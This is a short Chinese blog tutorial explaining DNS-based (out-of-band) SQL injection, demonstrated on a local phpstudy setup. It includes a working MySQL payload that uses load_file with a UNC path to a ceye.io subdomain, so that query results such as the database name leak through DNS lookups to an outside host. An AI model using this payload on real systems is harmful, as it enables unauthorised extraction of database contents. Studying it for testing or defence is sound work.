Dns注入
- 2019 年 10 月 7 日
- 筆記
為什麼要使用DNS注入?
盲注跑數據太慢的情況下,可以選擇DNS注入
DNS注入的原理?
域名DNS指向的是我們伺服器的域名,意味著解析域名時需向DNS伺服器查詢。通過遞歸查詢可以獲取資料庫上的資訊。要記住整個域名內的節點標籤被限制在63個字元長度大小。
使用條件:
1. 有sql注入點
2. 該站點的load_file可以使用
演示:
本地搭建phpstudy環境

然後註冊一個ceye.io的帳號,作為dns注入的平台


用到的東西呢就是下圖中畫圈的

這是一個域名:
分析一下:
Ceye.io 就不用說了,
前面的 xxxx.ceye.io是你的個人域名
Dns注入最後的效果呢就是在xxxx.ceye.io前面顯示你注入的結果。例如:
你得到的資料庫是test
那麼效果則是:test.xxxx.ceye.io
好的,廢話不多說,實例演示
使用到的語句呢就是下面這條:
and if((select load_file(concat('\\',(select database()),'.eq6w9l.ceye.io\abc'))),1,0)
分析一下:
And 就不多說了,連接前後語句嘛!
If(1,2,3)這個函數,裡面是三個條件,如果1這個位置是true那麼執行2位置語句,否則執行3位置語句。

我們都知道,load_file是可以讀取文件的,那麼,我們把這個文件換成可執行的語句呢?
再說一個小知識點,\xxxxx.xxxxxx
如果說我們在下圖位置寫這個東西呢,就會執行這個後面的域名吧!

同理,你在load_file中寫這個也是會執行的,所以就利用這個特點進行的dns注入。
'\\',(select database()),'.eq6w9l.ceye.io\abc'
首先前面的\\實際上是兩個其中兩個是作為轉義符號來的,然後(select database())是真正的執行語句,然後後面拼接上你的域名,最後面加的\abc,實例發現,後面不加\abc或者\其他字元是無法進行dns注入的,必須加上\abc或者\aaa等等都可以,但是記住一定要加。
Ok,payload已經寫好了,就執行吧!

效果

那麼究竟對不對呢?
我們聯合注入看一下:

Dns注入呢到這裡基本已經算是ok了!
其他的語句也同樣一樣!